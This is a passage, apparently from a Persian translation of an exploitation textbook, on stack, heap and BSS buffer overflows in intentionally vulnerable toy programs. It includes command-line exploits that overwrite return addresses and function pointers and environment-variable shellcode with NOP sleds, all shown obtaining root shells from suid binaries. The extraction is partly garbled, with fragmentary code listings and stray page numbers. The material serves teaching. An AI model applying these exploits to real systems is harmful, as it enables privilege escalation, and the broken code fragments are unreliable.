ﭼﻮن ﻧﺎم ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ vuln2اﺳﺖ ﮐﻪ 5ﺑﺎﯾﺖ ﻃﻮل دارد و ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ getenvaddrاﺳـﺖ ﮐـﻪ 10ﺑﺎﯾـﺖ
ﻃﻮل دارد ،ﻟﺬا در زﻣﺎن اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ،آدرس ﺷﻞ-ﮐﺪ 10ﺑﺎﯾﺖ ﺑﯿﺸﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد ،ﭼﺮا ﮐﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ
راﻫﻨﻤﺎ 5ﺑﺎﯾﺖ ﺑﯿﺸﺘﺮ از ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ .ﺑﺎ اﻧﺪﮐﯽ ﺣﺴﺎب رﯾﺎﺿﯽ ﻣﻌﻠﻮم ﻣﯽ ﺷـﻮد ﮐـﻪ ﻫﻨﮕـﺎم اﺟـﺮای
ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ،آدرس ﭘﯿﺶ ﺑﯿﻨﯽ ﺷﺪه ی ﺷﻞ-ﮐﺪ ﺑﺎﯾﺪ 0xbffffd5aﺑﺎﺷﺪ.
'';$ ./vuln2 'perl -e 'print "\x5a\xfd\xff\xbf"x8
sh-2.05a# whoami
root
sh-2.05a#
ﭼﻨﯿﻦ دﻗﺘﯽ ﺗﻤﺮﯾﻦ ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺲ اﺳﺖ ،اﻣﺎ ﻫﻤﯿﺸﻪ ﻧﯿﺎز ﻧﯿﺴﺖ .ﺑﺎ اﯾﻦ ﺣﺎل اﻃﻼﻋﺎت ﺑﺪﺳﺖ آﻣـﺪه
از اﯾﻦ آزﻣﺎﯾﺶ ﻣﯽ ﺗﻮاﻧﺪ ﻣﺎ را در ﻣﺤﺎﺳﺒﻪ ﻃﻮل ﺳﻮرﺗﻤﻪ NOPﯾﺎری دﻫﺪ .ﻣﺎداﻣﯽ ﮐﻪ ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤـﺎ ﺑﺰرﮔﺘـﺮ از ﻧـﺎم
ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ ،آدرس درﯾﺎﻓﺘﯽ از ﺑﺮﻧﺎﻫـﻪ راﻫﻨﻤـﺎ ﻫﻤﯿـﺸﻪ ﺑﺰرﮔﺘـﺮ از آدرس ﺑﺮﮔـﺸﺖ داده ﺷـﺪه در زﻣـﺎن
اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ ﺑﻮد .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻗﺮار دادن ﯾﮏ ﺳﻮرﺗﻤﻪ NOPﮐﻮﭼﮏ ﻗﺒـﻞ از ﺷـﻞ-ﮐـﺪ ر ﻣﺘﻐﯿـﺮ
ﻣﺤﻠﯽ اﯾﻦ ﺗﻔﺎوت ﺟﺰﺋﯽ را رﻓﻊ ﮐﺮد.
اﻧﺪازه ﺳﻮرﺗﻤﻪ NOPﻣﻮرد ﻧﯿﺎز را ﻣﯽ ﺗﻮان ﺑﻪ راﺣﺘﯽ ﻣﺤﺎﺳﺒﻪ ﮐﺮد .ﭼﻮن ﻧﺎم ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺣﺪاﻗﻞ ﺑﺎﯾـﺪ ﯾـﮏ
ﮐﺎراﮐﺘﺮ ﺑﺎﺷﺪ ،ﺣﺪاﮐﺜﺮ ﺗﻔﺎوت در ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﺮاﺑﺮ ﺑﺎ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ ﻣﻨﻬﺎی ﯾﮏ ﺧﻮاﻫﺪ ﺑـﻮد .در اﯾـﻦ ﻣـﻮرد
38
ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ getenvaddrاﺳﺖ ،ﻟﺬا ﻃﻮل ﺳﻮرﺗﻤﻪ NOPﺑﺎﯾﺪ 18ﺑﺎﯾﺖ ﺑﺎﺷـﺪ ،ﭼـﺮا ﮐـﻪ ﺑـﺎ ﻫـﺮ 1ﺑﺎﯾـﺖ ﺗﻔـﺎوت،
35
آدرس ﺑﻪ ﻣﯿﺰان 2ﺑﺎﯾﺖ ﺗﻨﻈﯿﻢ و ﻣﻨﻄﺒﻖ ﻣﯽ ﺷﻮد.
ﻋﻼوه ﺑﺮ ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ،ﺳﺮرﯾﺰﻫﺎی دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ در ﻗﻄﻌﺎت ﺣﺎﻓﻈـﻪ ای Heapو BSSرخ ﻣـﯽ
دﻫﻨﺪ .اﮔﺮﭼﻪ اﯾﻦ ﻧﻮع ﺳﺮرﯾﺰﻫﺎ ﺑﻪ اﻧﺪازه ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ اﺳﺘﺎﻧﺪارد ﺳﺎزی ﻧﺸﺪه اﻧـﺪ ،اﻣـﺎ ﺑـﻪ ﻫﻤـﺎن اﻧـﺪازه
ﻣﻮﺛﺮ ﻫﺴﺘﻨﺪ .ﭼﻮن در اﯾﻦ ﺣﺎﻻت ﻫﯿﭻ آدرس ﺑﺮﮔﺸﺘﯽ ﺑﺮای ﺟﺎﯾﻨﻮﯾﺴﯽ وﺟﻮد ﻧﺪارد ،ﻟﺬا اﯾﻦ ﻧﻮع ﺳـﺮرﯾﺰﻫﺎ ﻣﺒﺘﻨـﯽ ﺑـﺮ
ﻣﺘﻐﯿﺮﻫﺎی ﻣﻬﻤﯽ در ﺣﺎﻓﻈﻪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑﻞ ﺳﺮرﯾﺰ وﺟﻮد دارﻧﺪ .اﮔﺮ ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﻬﻢ )ﻣﺜﻼ ﻣﺘﻐﯿـﺮی ﮐـﻪ
اﻃﻼﻋﺎت ﻣﺠﻮزﻫﺎی ﮐﺎرﺑﺮی ﯾﺎ وﺿﻌﯿﺖ اﻋﺘﺒﺎرﺳﻨﺠﯽ را ﻧﮕﻪ ﻣﯽ دارد( ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑـﻞ ﺳـﺮرﯾﺰ ﻣﻮﺟـﻮد ﺑﺎﺷـﺪ ،ﻣـﯽ
ﺗﻮان اﯾﻦ ﻣﺘﻐﯿﺮ را ﺟﻬﺖ درﯾﺎﻓﺖ ﻫﻤﻪ ﻣﺠﻮزﻫﺎ ) (full permissionsﯾﺎ ﺗﻨﻈﯿﻢ اﻋﺘﺒﺎرﺳﻨﺠﯽ ﻣﻮرد ﻧﻈﺮ ﺳﺮرﯾﺰ ﮐـﺮد .ﯾـﺎ
اﮔﺮ ﯾﮏ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑﻞ ﺳﺮرﯾﺰ ﺑﺎﺷﺪ ﻣـﯽ ﺗـﻮان آﻧـﺮا ﺟﺎﯾﻨﻮﯾـﺴﯽ ﮐـﺮد .ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﺑـﻪ ﻫﻨﮕـﺎم
ﻓﺮاﺧﻮاﻧﯽ آن اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ،ﺑﺮﻧﺎﻣﻪ آدرس ﺣﺎﻓﻈﻪ ای دﯾﮕﺮی )ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺷﻞ-ﮐـﺪ در آﻧﺠـﺎ ﻗـﺮار داﺷـﺘﻪ ﺑﺎﺷـﺪ( را
ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﺪ ﮐﺮد.
ﭼﻮن اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ در ﻗﻄﻌﺎت Heapو BSSواﺑـﺴﺘﮕﯽ ﺑﯿـﺸﺘﺮی ﺑـﻪ ﻃـﺮح ﺣﺎﻓﻈـﻪ ) (memory layoutدر
ﺑﺮﻧﺎﻣﻪ دارﻧﺪ ،ﻟﺬا ﺗﺸﺨﯿﺺ اﯾﻦ ﻧﻮع آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ ﺳﺨﺖ ﺗﺮ اﺳﺖ.
ﺑﺮﻧﺎﻣﻪ زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺘﻦ ﻧﮕﺎر ﺳﺎده اﺳﺖ ﮐﻪ در ﺑﺮاﺑﺮ ﯾﮏ ﺳﺮرﯾﺰ ﻣﺒﻨﯽ ﺑﺮ Heapآﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ .اﯾﻦ ﻣﺜﺎل ﺑﺴﯿﺎر
ﺳﺎده اﺳﺖ و دﻗﯿﻘﺎ ﺑﻪ ﻫﻤﯿﻦ اﺳﺖ ﮐﻪ آﻧﺮا ﻣﺜﺎل ﻣﯽ ﻧﺎﻣﯿﻢ ،ﻧﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ واﻗﻌﯽ .اﻃﻼﻋﺎت اﺷﮑﺎل زداﯾﯽ ﻧﯿﺰ ﺑﻪ ﮐﺪ اﺿـﺎﻓﻪ
ﺷﺪه اﻧﺪ.
heap.c code
>#include <stdio.h
>#include <stdlib.h
35
(10 -1) * 2 = 18
39
printf("[*] outputfile @ %p: %s\n", outputfile, outputfile);
printf("[*] distance between: %d\n", outputfile - userinput);
printf("----------\n\n");
return 0;
}
: و اﺟﺮا ﺷﺪن آﻧﺮا ﻧﺸﺎن ﻣﯽ دﻫﺪsuid ﺗﻨﻈﯿﻢ ﺷﺪن ﺑﻪ ﺻﻮرت،ﺧﺮوﺟﯽ زﯾﺮ ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ
$ gcc -o heap heap.c
$ sudo chown root.root heap
$ sudo chmod u+s heap
$
$ ./heap testing
---DEBUG--
[*] userinput @ 0x80498d0: testing
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------
----------
40
$ cat /tmp/notes
testing
more_stuff
12345678901234567890123
$ ./heap 123456789012345678901234
---DEBUG--
[*] userinput @ 0x80498d0: 123456789012345678901234
[*] outputfile @ 0x80498e8:
[*] distance between: 24
----------
ﺑﺮای ﺑـﺎزی. ﺑﺮﻧﺎﻣﻪ ﻣﻮرد ﻧﻈﺮ ﯾﮏ ﺑﺎزی ﺷﺎﻧﺴﯽ ﺳﺎده اﺳﺖ. از ﺣﺎﻓﻈﻪ را ﻧﻤﺎﯾﺶ ﻣﯽ دﻫﺪBSS از ﻣﺜﺎل ﺳﺮرﯾﺰ در ﻗﻄﻌﻪ
. اﺳـﺖ20 ﺗـﺎ1 ﻫﺪف ﺑﺎزی ﺣﺪس زدن ﯾﮏ ﺷﻤﺎره اﻧﺘﺨﺎب ﺷﺪه ﺗـﺼﺎدﻓﯽ از. اﻣﺘﯿﺎز ﺧﻮد را ﺧﺮج ﮐﻨﯿﻢ10 ﮐﺮدن ﺑﺎﯾﺪ
اﻣﺘﯿﺎز ﺑﻪ ﻋﻨﻮان ﺟﺎﯾﺰه درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﯿﻢ )ﮐﺪﻫﺎی ﻣﺮﺑﻮط ﺑﻪ اﺿﺎﻓﻪ و ﮐﻢ100 ،اﮔﺮ ﺷﻤﺎره درﺳﺖ ﺣﺪس زده ﺷﺪه ﺑﺎﺷﺪ
ﺗﻐﯿﯿـﺮات ﻣﻮﺟـﻮد.( ﭼﻮن ﺑﻪ اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻓﻘﻂ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﺜﺎل ﻧﮕﺎه ﻣﯽ ﮐﻨـﯿﻢ،ﮐﺮدن اﻣﺘﯿﺎز از اﯾﻦ ﻣﺜﺎل ﺣﺬف ﺷﺪه اﻧﺪ
.در اﻣﺘﯿﺎزات ﺑﻮﺳﯿﻠﻪ ﭘﯿﺎم ﻫﺎی ﺧﺮوﺟﯽ ﺑﻪ آﮔﺎﻫﯽ ﻣﺎ ﻣﯽ رﺳﻨﺪ
اﺳـﺖ1/20 ﭼﻮﻧﮑﻪ اﺣﺘﻤﺎل ﯾـﮏ ﭘﯿـﺮوزی،از ﻟﺤﺎظ آﻣﺎری ﺳﻨﮕﯿﻨﯽ ﮐﻔﻪ ﺗﺮازو در اﯾﻦ ﺑﺎزی ﻣﺨﺎﻟﻒ ﻣﻨﺎﻓﻊ ﺑﺎزﯾﮑﻦ اﺳﺖ
اﻣﺎ ﺷـﺎﯾﺪ. ﺑﺎر ﺑﺎزی ﮐﺮدن را ﻓﺮاﻫﻢ ﻣﯽ آورد10 )ﻟﺬا ﺷﺎﻧﺲ ﭘﯿﺮوزی ﺑﺎ ﺷﮑﺴﺖ ﻣﺴﺎوی ﻧﯿﺴﺖ( و ﻓﻘﻂ اﻣﺘﯿﺎز ﻻزم ﺑﺮای
.راﻫﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ﺗﺎ ﺑﺘﻮان اﺣﺘﻤﺎل ﺷﮑﺴﺖ و ﭘﯿﺮوزی را اﻧﺪﮐﯽ ﺑﻪ ﻫﻢ ﻧﺰدﯾﮏ ﮐﺮد
bss_game.c code
#include <stdlib.h>
#include <time.h>
int game(int);
int jackpot();
if(argc < 2)
{
printf("Usage: %s <a number 1 - 20>\n", argv[0]);
printf("use %s help or %s -h for more help.\n", argv[0], argv[0]);
exit(0);
}
43
printf("[before strcpy] function_ptr @ %p:
%p\n",&function_ptr,function_ptr);
strcpy(buffer, argv[1]);
if(argc > 2)
printf("[*] argv[2] @ %p\n", argv[2]);
printf("----------\n\n");
Help Text:
45
0x8049c74و اﺷﺎرﮔﺮ ﺗﺎﺑﻊ در 0x8049c88ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ .اﺧﺘﻼف اﯾﻦ دو آدرس 20ﺑﺎﯾﺖ اﺳﺖ .ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ 21
ﺑﺎﯾﺖ در ﺑﺎﻓﺮ ﻗﺮار ﮔﯿﺮد ،ﺑﺎﯾﺖ ﺑﯿﺴﺖ و ﯾﮑﻢ ﺑﺎﯾﺴﺘﯽ ﺑﺮ روی اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺳﺮرﯾﺰ ﮐﻨﺪ .اﯾﻦ ﺳﺮرﯾﺰ در ﺧﺮوﺟـﯽ زﯾـﺮ ﺑـﺎ
ﺧﻂ ﺿﺨﯿﻢ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ.
$ ./bss_game 12345678901234567890
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x8048600
----------
Illegal instruction
$
$ ./bss_game 12345678901234567890A
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890A
[after strcpy] function_ptr @ 0x8049c88: 0x8040041
----------
Segmentation fault
$
در اوﻟﯿﻦ ﺳﺮرﯾﺰ رخ داده در ﺑﺎﻻ ،ﮐﺎراﮐﺘﺮ ﺑﯿﺴﺖ و ﯾﮑﻢ ﺑﺎﯾﺖ ﭘﻮچ اﺳﺖ ﮐﻪ رﺷﺘﻪ را ﺧﺎﺗﻤﻪ ﻣﯽ دﻫﺪ .ﭼﻮن اﺷﺎرﮔﺮ ﺗـﺎﺑﻊ
ﺑﺎ ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ Little Endianذﺧﯿﺮه ﺷﺪه اﺳﺖ ،ﻟﺬا ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ )آﺧﺮﯾﻦ ﺑﺎﯾﺖ( ﺑﺎ ﻣﻘﺪار 0x00ﺟﺎﯾﻨﻮﯾﺴﯽ
ﺷﺪه و آدرس ﺟﺪﯾﺪ اﺷﺎرﮔﺮ ﺑﺮاﺑﺮ ﺑﺎ 0x8048600ﻣﯽ ﮔﺮدد .در ﺧﺮوﺟﯽ ﻓﻮق ،اﺷﺎرﮔﺮ ﺑﻪ دﺳـﺘﻮر ﻏﯿﺮﻣﺠـﺎزی اﺷـﺎره
ﻣﯽ ﮐﻨﺪ؛ اﻣﺎ ﻣﻤﮑﻦ اﺳﺖ در ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺘﻔﺎوت ﺑﻪ دﺳﺘﻮر ﻣﺠﺎزی اﺷﺎره داﺷﺘﻪ ﺑﺎﺷﺪ.
اﮔﺮ ﺑﺎﯾﺖ دﯾﮕﺮی را ﺳﺮرﯾﺰ ﮐﻨﯿﻢ ،ﺑﺎﯾﺖ ﭘﻮچ ﯾﮏ واﺣﺪ ﺑﻪ ﺳﻤﺖ ﭼﭗ ﻣﯽ رود و ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﯿﺴﺖ و دوﻣﯿﻦ ﺑﺎﯾﺖ ﺑﺮ
روی ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖِ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ .در ﻣﺜـﺎل ﻗﺒﻠـﯽ ﮐـﺎراﮐﺘﺮ ) Aﺑـﺎ ﻣﻌـﺎدل ﻫﮕﺰادﺳـﯿﻤﺎل (0x41
اﺳﺘﻔﺎده ﺷﺪ .ﯾﻌﻨﯽ ﻧﻪ ﺗﻨﻬﺎ ﻣﯽ ﺗﻮان ﺑﺨﺶ ﻫﺎی اﺷﺎرﮔﺮ دﺳﺘﻮر را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﺮد ،ﺑﻠﮑﻪ ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﮐﻨﺘﺮل ﻧﯿﺰ ﮐﺮد.
اﮔﺮ 4ﺑﺎﯾﺖ ﺳﺮرﯾﺰ ﺷﻮﻧﺪ ،ﻣﯽ ﺗﻮان ﮐﻞ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ را ﺑﺎ آن 4ﺑﺎﯾﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ و ﮐﻨﺘـﺮل ﮐـﺮد .در ﺧﺮوﺟـﯽ زﯾـﺮ اﯾـﻦ
ﻣﻬﻢ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ:
$ ./bss_game 12345678901234567890ABCD
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890ABCD
[after strcpy] function_ptr @ 0x8049c88: 0x44434241
----------
Segmentation fault
$
درﻣﺜﺎل ﻗﺒﻠﯽ ،اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﺎ " "ABCDﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه اﺳﺖ .اﯾﻦ ﻣﻘﺎدﯾﺮ ﻃﺒﻖ اﻟﮕﻮی ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ Little Endian
ﻣﻌﮑﻮس ﻣﯽ ﺷﻮﻧﺪ و ﺑﺎ ﻣﻘﺎدﯾﺮ ﻫﮕﺰادﺳﯿﻤﺎل (A) 0x41 ،(B) 0x42 ،(C) 0x43 ،(D) 0x44ﻧﺸﺎن داده ﻣﯽ ﮔﺮدﻧﺪ .در
ﻫﺮ دو ﻣﻮرد ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺧﻮاﻫﺪ ﺑﻪ آدرس ﺗﺎﺑﻌﯽ ﭘﺮش ﮐﻨﺪ ﮐﻪ در آﻧﺠﺎ ﻫﯿﭻ ﺗﺎﺑﻌﯽ وﺟﻮد ﻧﺪارد ،ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﭘﯿﻐـﺎم
Segmentation Faultﮐﺮش ﺧﻮاﻫﺪ ﮐﺮد .اﻣﺎ ﭼﻮن ﻣﯽ ﺗﻮان اﺷﺎرﮔﺮ ﺗﺎﺑﻊ را ﮐﻨﺘﺮل ﮐـﺮد ،ﭘـﺲ در ﻧﺘﯿﺠـﻪ آن روﻧـﺪ
اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻧﯿﺰ ﻣﯽ ﺗﻮان ﮐﻨﺘﺮل ﮐﺮد .اﮐﻨﻮن ﻓﻘﻂ ﺑﺎﯾﺪ ﯾﮏ آدرس ﻣﻌﺘﺒﺮ را ﺑﺠﺎی " "ABCDﺟﺎﯾﮕﺰﯾﻦ ﮐﺮد.
دﺳﺘﻮر ،nmﻧﻤﺎدﻫﺎی ) (symbolﻣﻮﺟﻮد در ﻓﺎﯾﻞ ﻫﺎی ﻫﺪف ) (object fileرا ﻟﯿﺴﺖ ﻣﯽ ﮐﻨﺪ .ﻣﯽ ﺗﻮان از اﯾﻦ دﺳـﺘﻮر
ﺑﺮای ﯾﺎﻓﺘﻦ آدرس ﺗﻮاﺑﻊ در ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﺳﺘﻔﺎده ﮐﺮد.
$ nm bss_game
08049b60 D _DYNAMIC
_08049c3c D _GLOBAL_OFFSET_TABLE
080487a4 R _IO_stdin_used
w _Jv_RegisterClasses
46
08049c2c d __CTOR_END__
08049c28 d __CTOR_LIST__
08049c34 d __DTOR_END__
08049c30 d __DTOR_LIST__
08049b5c d __EH_FRAME_BEGIN__
08049b5c d __FRAME_END__
08049c38 d __JCR_END__
08049c38 d __JCR_LIST__
08049c70 A __bss_start
08049b50 D __data_start
08048740 t __do_global_ctors_aux
08048430 t __do_global_dtors_aux
08049b54 d __dso_handle
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
08049c70 A _edata
08049c8c A _end
08048770 T _fini
080487a0 R _fp_hw
08048324 T _init
080483e0 T _start
U atoi@@GLIBC_2.0
08049c74 b buffer.0
08048404 t call_gmon_start
08049c70 b completed.1
08049b50 W data_start
U exit@@GLIBC_2.0
08048470 t frame_dummy
08049c88 b function_ptr.1
08048662 T game
0804871c T jackpot
08048498 T main 08049b58 d p.0
U printf@@GLIBC_2.0
U rand@@GLIBC_2.0
U srand@@GLIBC_2.0
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U time@@GLIBC_2.0
$
اﻣـﺎ اﮔـﺮ، ﻓﺎﮐﺘﻮر ﺷﺎﻧﺲ در اﯾﻦ ﺑـﺎزی ﺑـﺴﯿﺎر ﮐـﻢ اﺳـﺖ. ﯾﮏ ﻫﺪف ﻣﻨﺎﺳﺐ ﺑﺮای اﯾﻦ اﮐﺴﭙﻠﻮﯾﺖ اﺳﺖjackpot() ﺗﺎﺑﻊ
jackpot() در ﻋﻮض ﺗﻨﻬﺎ ﺗـﺎﺑﻊ. اﺻﻼ ﻧﯿﺎز ﺑﻪ ﺑﺎزی ﮐﺮدن ﻧﯿﺴﺖ، ﺟﺎﯾﻨﻮﯾﺴﯽ ﮔﺮددjackpot اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﺎ آدرس ﺗﺎﺑﻊ
اﻣﺘﯿﺎز ﺑﻪ ﮐﺎرﺑﺮ داده ﻣﯽ ﺷﻮد و ﻧﻬﺎﯾﺘـﺎ ﻧﻘﻄـﻪ ﺗﻌـﺎدل ﺷـﺎﻧﺲ در اﯾـﻦ100 ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﺪ ﺷﺪ و ﺑﻪ اﯾﻦ ﺻﻮرت ﻫﺮ ﺑﺎر
را ﻣﯽ ﺗﻮان ﺑﺎ ﻋﻼﻣﺎت ﻧﻘﻞ ﻗـﻮل ﺟﻬـﺖ ﭼـﺎپ آدرس ﺑـﻪprintf دﺳﺘﻮر ﭘﻮﺳﺘﻪ.ﺑﺎزی را در ﺟﻬﺖ دﯾﮕﺮ ﻗﺮار ﺧﻮاﻫﺪ داد
. ﺑﮑﺎر ﺑﺮدprintf "\x1c\x87\x04\x08" ﺻﻮرت
$ ./bss_game 12345678901234567890'printf "\x1c\x87\x04\x08"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x804871c
----------
47
ﺣﺎل ﮐﻪ ﺑﺮﻧﺎﻣﻪ در ﻣﺤﯿﻂ ﮐﺎرﺑﺮی رﯾﺸﻪ اﺟﺮا ﻣﯽ ﮔﺮدد و ﻣﯽ ﺗﻮان ﺟﺮﯾﺎن اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻧﯿﺰ ﮐﻨﺘﺮل ﮐﺮد ،ﻟـﺬا ﮔـﺮﻓﺘﻦ
ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﮐﺎر ﭼﻨﺪان ﺳﺨﺘﯽ ﻧﺨﻮاﻫﺪ ﺑﻮد .ﺗﮑﻨﯿﮑﯽ ﮐﻪ در ﻗﺒﻞ ﺣﻮل ذﺧﯿﺮه ﺳـﺎزی ﺷـﻞ-ﮐـﺪ در ﻣﺘﻐﯿـﺮ ﻣﺤﯿﻄـﯽ
ﺑﺤﺚ ﺷﺪ ﺑﺎﯾﺴﺘﯽ ﻣﻨﺎﺳﺐ اﯾﻦ وﺿﻌﯿﺖ ﺑﻮده و ﺑﻪ درﺳﺘﯽ ﮐﺎر ﮐﻨﺪ.
'$ export SHELLCODE='perl -e 'print "\x90"x18;'"cat shellcode
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffcfe
'"$ ./bss_game 12345678901234567890'printf "\xfe\xfc\xff\xbf
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
¿[*] buffer @ 0x8049c74: 12345678901234567890püÿ
[after strcpy] function_ptr @ 0x8049c88: 0xbffffcfe
----------
sh-2.05a# whoami
root
sh-2.05a#
اﻣﺎ اﮔﺮ ﺗﺮﺟﯿﺢ ﻣﯽ دﻫﯿﺪ ﺑﻪ ﻃﻮر ﺣﺮﻓﻪ ای ﺗﺮی روی آن ﮐﺎر ﮐﻨﯿﺪ و ﻣﺸﮑﻠﯽ راﺟﻊ ﺑـﻪ ﻣﺤﺎﺳـﺒﺎت رﯾﺎﺿـﯽ در ﻣﺒﻨـﺎی 16
ﻧﺪارﯾﺪ ،ﻣﯽ ﺗﻮاﻧﯿﺪ ﺳﻮرﺗﻤﻪ NOPرا ﺣﺬف ﮐﻨﯿﺪ.
'$ export SHELLCODE='cat shellcode
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd90
'"$ ./bss_game 12345678901234567890'printf "\x94\xfd\xff\xbf
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
¿[*] buffer @ 0x8049c74: 12345678901234567890yÿ
[after strcpy] function_ptr @ 0x8049c88: 0xbffffd94
----------
sh-2.05a# whoami
root
sh-2.05a#
در ﺣﺎﻟﺖ ﮐﻠﯽ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ ﻣﻔﻬﻮم ﻧﺴﺒﺘﺎ ﺳﺎده ای اﺳﺖ .ﮔﺎﻫﯽ اوﻗﺎت داده ﻫﺎ ﻣﯽ ﺗﻮاﻧﻨﺪ از ﺳﺮﺣﺪﻫﺎی ﻟﺤﺎظ ﺷﺪه رﯾﺰش
ﮐﻨﻨﺪ و ﺑﺮﺧﯽ ﻣﻮاﻗﻊ ﻧﯿﺰ روش ﻫﺎﯾﯽ ﺑﺮای ﺳﻮ اﺳﺘﻔﺎده از اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارد .در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘـﺸﺘﻪ ،ﻣـﺴﺌﻠﻪ
ﺗﻨﻬﺎ ﯾﺎﻓﺘﻦ آدرس ﺑﺮﮔﺸﺖ اﺳﺖ .اﻣﺎ در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ،heapاﺑﺘﮑﺎر و ﻧﻮآوری ﺣﺮف اول را ﻣﯽ زﻧﻨﺪ.
آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی رﺷـﺘﻪ ﻓﺮﻣـﺖ ) ،(format stringﮐـﻼس ﻧـﺴﺒﺘﺎ ﺟﺪﯾـﺪی از آﺳـﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ ﻫـﺴﺘﻨﺪ .ﻫﻤﺎﻧﻨـﺪ
